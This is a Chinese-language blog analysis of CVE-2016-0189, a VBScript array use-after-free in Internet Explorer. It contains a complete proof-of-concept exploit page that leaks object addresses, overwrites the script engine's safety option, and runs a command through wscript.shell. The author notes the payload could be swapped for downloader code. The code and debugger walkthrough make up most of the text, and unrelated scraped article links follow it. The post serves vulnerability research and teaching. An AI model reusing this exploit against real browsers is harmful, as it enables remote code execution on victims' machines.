IE CVE-2016-0189远程执行漏洞分析

作者: 被遗弃的庸才

一、前言

IE CVE-2016-0189是通过Microsoft发布的MS16-051的补丁程序进行对比之后发现的,随后漏洞被韩国用于APT攻击。出现漏洞的原因是在vbs解析引擎中,数组中指定下标时会调用vbscript!AccessArray中的vbscript!rtVariantChangeTypeEx函数,vbscript!rtVariantChangeTypeEx函数并没有实现而是调用了oleaut32!VariantChangeTypeEx函数,在这个函数中会检查传入的索引类型,如果不是整数型就会调用valueof方法,进行类型转化,注意这里的valeueof是可以被重载的(这里就可以做一些猥琐的事情)。如果我们在重载的valueof函数中减小数组的大小,内存就会被释放,这时立刻申请内存,数组被释放的部分就可能被再次占用(但是数组的访问还是原始的大小,我们就可以构造任意地址的读写)。这里是先定义一个比较大的二维数组A(1, 2000),接着给A(arg1, 2)赋值,首先会去调用重载的valueof函数,函数中会修改A数组的大小,接着就立刻申请内存进行占位,最后返回1。对aw.A(arg1, 2)赋值就会变成对aw.A(1, 2)赋值,而且A数组的A(1,1)之后的内存已经被释放又被构造的内存重新占用了。

二、漏洞复现

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body><script type="text/vbscript">Dim awDim plunge(32)Dim y(32)prefix = "%u4141%u4141"d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"b = String(64000, "D")c = d & bx = UnEscape(c)Class ArrayWrapperDim A()Private Sub Class_Initialize' 2x2000 elements x 16 bytes / element = 64000 bytesReDim Preserve A(1, 2000)End SubPublic Sub Resize()ReDim Preserve A(1, 1)End SubEnd ClassClass DummyEnd ClassFunction getAddr (arg1, s)aw = NullSet aw = New ArrayWrapperFor i = 0 To 32Set plunge(i) = sNextSet aw.A(arg1, 2) = sDim addrDim iFor i = 0 To 31If Asc(Mid(y(i), 3, 1)) = VarType(s) Thenaddr = strToInt(Mid(y(i), 3 + 4, 2))End Ify(i) = NullNextIf addr = Null Thendocument.location.href = document.location.hrefReturnEnd IfgetAddr = addrEnd FunctionFunction leakMem (arg1, addr)d = prefix & "%u0008%u4141%u4141%u4141"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperDim oo = aw.A(arg1, 2)leakMem = oEnd FunctionSub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapper' Single has vartype of 0x04aw.A(arg1, 2) = CSng(0)End SubFunction exploit (arg1)Dim addrDim csessionDim olescriptDim mem' Create a vbscript class instanceSet dm = New Dummy' Get address of the class instanceaddr = getAddr(arg1, dm)' Leak CSession address from class instancemem = leakMem(arg1, addr + 8)csession = strToInt(Mid(mem, 3, 2))' Leak COleScript address from CSession instancemem = leakMem(arg1, csession + 4)olescript = strToInt(Mid(mem, 1, 2))' Overwrite SafetyOption in COleScript (e.g. god mode)' e.g. changes it to 0x04 which is not in 0x0B maskoverwrite arg1, olescript + &H174set obj = createobject("wscript.shell")obj.run("notepad")End FunctionFunction triggerBug' Resize array we are currently indexingaw.Resize()' Overlap freed array area with our exploit stringDim iFor i = 0 To 32' 24000x2 + 6 = 48006 bytesy(i) = Mid(x, 1, 24000)NextEnd Function</script><script type="text/javascript">function strToInt(s){return s.charCodeAt(0) | (s.charCodeAt(1) << 16);}function intToStr(x){return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);}var o;o = {"valueOf": function () {triggerBug();return 1;}};setTimeout(function() {exploit(o);}, 50);</script>
</body>
</html>

在本地虚拟机上面就成功执行poc了

三、漏洞分析

看一看会用到的结构体,虽然看起来很长但是只有0x10个字节,这里是各个类型的定义https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f。

typedef struct tagVARIANT {union {struct {VARTYPE vt;WORD    wReserved1;WORD    wReserved2;WORD    wReserved3;union {LONGLONG     llVal;LONG         lVal;BYTE         bVal;SHORT        iVal;FLOAT        fltVal;DOUBLE       dblVal;VARIANT_BOOL boolVal;VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;SCODE        scode;CY           cyVal;DATE         date;BSTR         bstrVal;IUnknown     *punkVal;IDispatch    *pdispVal;SAFEARRAY    *parray;BYTE         *pbVal;SHORT        *piVal;LONG         *plVal;LONGLONG     *pllVal;FLOAT        *pfltVal;DOUBLE       *pdblVal;VARIANT_BOOL *pboolVal;VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;SCODE        *pscode;CY           *pcyVal;DATE         *pdate;BSTR         *pbstrVal;IUnknown     **ppunkVal;IDispatch    **ppdispVal;SAFEARRAY    **pparray;VARIANT      *pvarVal;PVOID        byref;CHAR         cVal;USHORT       uiVal;ULONG        ulVal;ULONGLONG    ullVal;INT          intVal;UINT         uintVal;DECIMAL      *pdecVal;CHAR         *pcVal;USHORT       *puiVal;ULONG        *pulVal;ULONGLONG    *pullVal;INT          *pintVal;UINT         *puintVal;struct {PVOID       pvRecord;IRecordInfo *pRecInfo;} __VARIANT_NAME_4;} __VARIANT_NAME_3;} __VARIANT_NAME_2;DECIMAL decVal;} __VARIANT_NAME_1;
} VARIANT;

这里首先分析一下获取地址,这里的s代表的是Dummy类,其中这个类是空的没有具体实现的函数。plunge(i)是用来占用一些空隙内存的,这里在调用A(arg1, 2)时会触发valueOf,会释放内存后申请内存,其中x是精心构造的,为了得到类对象的地址,x前面的0x41是为了方便找到这个块内存。查找的方式是判断存储在A(1,2)的对象的,是否在申请的内存内,从而出现错位和2014-6332的错位几乎是一样的,可以看下图的windbg的内存布局。

prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)Function triggerBug' Resize array we are currently indexingaw.Resize()' Overlap freed array area with our exploit stringDim iFor i = 0 To 32' 24000x2 + 6 = 48006 bytesy(i) = Mid(x, 1, 24000)Next
End Function
o = {"valueOf": function () {triggerBug();return 1;}};Set dm = New Dummy' Get address of the class instanceaddr = getAddr(arg1, dm)
...............
Function getAddr (arg1, s)aw = NullSet aw = New ArrayWrapperFor i = 0 To 32Set plunge(i) = sNextSet aw.A(arg1, 2) = sDim addrDim iFor i = 0 To 31If Asc(Mid(y(i), 3, 1)) = VarType(s) Thenaddr = strToInt(Mid(y(i), 3 + 4, 2))End Ify(i) = NullNextIf addr = Null Thendocument.location.href = document.location.hrefReturnEnd IfgetAddr = addr
End Function

我们想要的是下面的这种情况,A和f(x)是相邻的。

这里下断点的方式bp vbscript!VbsIsEmpty,这里在addr = strToInt(Mid(y(i), 3 + 4, 2))后面加上IsEmpty(f(i))就能看到如下的内存布局

好了现在找到我们需要的内存结构和类对象的地址接下来就是得到CSession对象的地址,这里的构造了一个0x8的数据类型也就是BSTR(string),同时可以从上图看出该结构为4字节的字符串长度+字符+两个字节的00(上图看不见,用来标记结尾的)。

之后利用同样的方式构造出字符串的的数据类型,这里用一个问题就是为什么要+8在strToInt(Mid(mem, 3, 2)),既然csession对象在0xc的位置直接leakMem(arg1, addr + c)在csession = strToInt(Mid(mem, 1, 2))不是一样的吗?我们从内存的角度来看一看为什么不行。

mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
Function leakMem (arg1, addr)d = prefix & "%u0008%u4141%u4141%u4141"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperDim oo = aw.A(arg1, 2)leakMem = o
End Function

老规矩可以在o = aw.A(arg1, 2)后面加上一个IsEmpty(y(0))并下断,断下之后可以看到下面的内存

最后就是构造写,可以从代码中看出把类型构造为0x400c之后给olescript对象加上0x174的赋值为0,那么我们还是一样添加IsEmpty(y(0))之后下断,但是会有一个问题就是拿到的是f(0)并不是我们想要的,主要原因是f(0)在内存中不是和A数组紧挨,所以我们这里添加一些代码来确认这里的A和f(0)是相邻的。

overwrite arg1, olescript + &H174
Sub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = Null
Set aw = New ArrayWrapper' Single has vartype of 0x04
IsEmpty(y(0))
aw.A(arg1, 2) = CSng(0)
End Sub我是添加的代码
Sub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperaw.A(arg1, 2) = CSng(0)Dim iFor i = 0 To 32If Asc(Mid(y(i), 3, 1)) <> &h8 ThenIsEmpty(y(i))End IfNextEnd Sub

这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。

aw = Null
Set aw = New ArrayWrapperaw.A(arg1, 2) = CSng(0)Dim i
For i = 0 To 32If Asc(Mid(y(i), 3, 1)) <> &h8 ThenIsEmpty(y(i))End If
Next
End Sub

这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。

CVE-2016-0189相关推荐

  1. mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权

    @date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...

  2. mysql cve 2016 3521_MySQL-based databases CVE-2016-6664 本地提权

    @date: 2016/11/10 @author: dlive 0x00 前言 这个漏洞可以结合CVE-2016-6663使用提升权限到root 0x01 漏洞原文 # http://legalha ...

  3. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  4. ios安全学习资料汇总

    文章出处:https://github.com/pandazheng/IosHackStudy (1) IOS安全学习网站收集: http://samdmarshall.com https://www ...

  5. IOS/macOS安全相关资料的收集

    • [PDF] https://objectivebythesea.com/v2/talks/OBTS_v2_Beer.pdf: https://objectivebythesea.com/v2/ta ...

  6. android 漏洞发布,CVE发布2016年软件漏洞排行榜报告:安卓以523处位居第一

    IT之家讯 1月3日消息,近期CVE Details公布了2016年软件漏洞数量最新报告,根据报告显示,漏洞存在数量最多的是安卓系统,以523处漏洞位居第一,排名第二的为Debian Linux系统, ...

  7. CVE PoC的精选列表(三)

    CVE-2017-0146 Microsoft Windows Vista SP2中的SMBv1服务器:Windows Server 2008 SP2和R2 SP1; Windows 7 SP1:Wi ...

  8. CVE PoC的精选列表(二)

    CVE-2016-1710 在52.0.2743.82之前的Google Chrome中使用的Blink的WebKit / Source / web / ChromeClientImpl.cpp中的C ...

  9. cve查询_CVE年满21岁:如何实现这一里程碑

    cve查询 The Common Vulnerabilities and Exposures (CVE) turns 21 this year and, just like any 21-year-o ...

  10. 绿盟科技互联网安全威胁周报2016.38 请关注4个OpenSSH安全漏洞

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-38,绿盟科技漏洞库本周新增46条,其中高危18条.本次周报建议大家关注 OpenSSH存在多个安全漏洞 ,目前,厂商已发布漏洞修复程序,用户 ...

最新文章

  1. 直播这把“开鱼刀”能否救蘑菇街于“扑街”?
  2. Java 8 Lambda 表达式被编译成了什么?
  3. 华夫饼为什么不松软_掌握这2个关键点,5个小细节,3个小技巧,保证烙饼松软又好吃...
  4. using(){},Close(),Dispose()的区别
  5. 评测称IE8成内存消耗王 高出IE7一半 为火狐2倍
  6. POJ 2762Going from u to v or from v to u?(强联通 + 缩点 + 拓扑排序)
  7. 局域网中搜计算机无法访问,怎么找不到共享电脑,手把手教你局域网中共享电脑找不到怎么办...
  8. 最简单的Windows CE应用程序
  9. STC单片机编程软件安装教程
  10. VC MFC 换肤 SkinSharp
  11. 网站类项目商业计划书(转)
  12. android 仿小米便签,高仿小米便签
  13. 计算机专业一句话介绍自己,来聊聊,你会如何用一句话介绍自己的专业?
  14. 使用distpicker的简单测试页面
  15. Python文件和数据格式化(教程)
  16. 不想露脸,做情感、励志短视频,手机就可以,12天收益2386
  17. @NotNull和@NotEmpty和@NotBlank区别
  18. Sinoregal dbAudit应用-SinoDB
  19. python 管理windows客户端_scrapyd的Windows管理客户端|python基础教程|python入门|python教程...
  20. 宏基笔记本linux系统安装图解,宏基笔记本重装系统详细图文教程

热门文章

  1. 记一次一加7Pro刷机之旅(刷入Havoc与Magisk)
  2. java class 静态模块_Java API 最佳设计实践:在模块化和非模块化 Java 环境中使用...
  3. 13 个免费的 PNG 图像的优化和压缩工具
  4. 贝叶斯概率与频数概率(简要)
  5. GlassFish FAQ
  6. 不忘初心,砥砺前行,我们十岁啦!
  7. 计蒜客 - T1651 道路重建( floyd最短路)
  8. NAT是什么东西,有什么实际作用
  9. 福禄克DSX-5000、8000网线测试仪如何解决不良线缆问题
  10. 【考研】数据结构考点——希尔排序